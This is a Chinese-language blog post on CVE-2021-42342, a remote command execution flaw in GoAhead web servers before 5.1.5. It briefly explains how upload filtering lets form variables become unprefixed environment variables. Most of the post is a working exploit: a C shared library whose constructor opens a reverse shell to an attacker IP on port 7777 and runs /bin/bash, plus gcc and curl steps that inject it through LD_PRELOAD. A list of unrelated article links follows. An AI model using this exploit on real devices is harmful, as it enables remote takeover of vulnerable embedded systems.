CVE-2021-42342 GoAhead远程命令执行
2023-04-18 16:58:15 时间
GoAhead 是用网世界上的微型嵌入式 Web 服务器。它结构化、安全且易于使用。GoAhead 部署在数亿台设备中,是小型嵌入式设备的理想选择。
最近 Goahead Webserver 中的一个 bug 是由William Bowling发现的,它导致被利用的服务器上的 RCE。
该问题存在于 5.1.5 版本之前,根据Shodan 的说法,该版本涵盖了互联网上大约 2.8mio 的服务器。
RCE 是因为如果启用文件上传过滤器,则用户可以上传文件,同时设置用户表单变量。
这些变量最终成为操作系统环境变量。这通常不是问题,因为在正常的表单上传情况下,env 变量将以 CGI_ 为前缀(默认)。但是,如果启用了文件上传过滤器,则代码中的错误会导致忽略此前缀 = 通过 env 变量的即时 RCE + 文件。
CVE-2021-42342 RCE
POC1:just prints
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello World!
", 14);
}
POC2: reverse shell
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>
char *server_ip="***";
uint32_t server_port=7777;
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execve("/bin/bash", 0, 0);
}
usage:
step1: gcc hack.c -fPIC -shared -o poc.so
step2: curl -X POST http://[TARGET]/cgi-bin/ -F "LD_PRELOAD=/proc/self/fd/0" -F file='@poc.so;encoder=base64'
相关文章
- 【技术种草】cdn+轻量服务器+hugo=让博客“云原生”一下
- CLB运维&运营最佳实践 ---访问日志大洞察
- vnc方式登陆服务器
- 轻松学排序算法:眼睛直观感受几种常用排序算法
- 十二个经典的大数据项目
- 为什么使用 CDN 内容分发网络?
- 大数据——大数据默认端口号列表
- Weld 1.1.5.Final,JSR-299 的框架
- JavaFX 2012:彻底开源
- 提升as3程序性能的十大要点
- 通过凸面几何学进行独立于边际的在线多类学习
- 利用行动影响的规律性和部分已知的模型进行离线强化学习
- ModelLight:基于模型的交通信号控制的元强化学习
- 浅谈Visual Source Safe项目分支
- 基于先验知识的递归卡尔曼滤波的代理人联合状态和输入估计
- 结合网络结构和非线性恢复来提高声誉评估的性能
- 最佳实践丨云开发CloudBase多环境管理实践
- TimeVAE:用于生成多变量时间序列的变异自动编码器
- 具有线性阈值激活的神经网络:结构和算法
- 内网渗透之横向移动 -- 从域外向域内进行密码喷洒攻击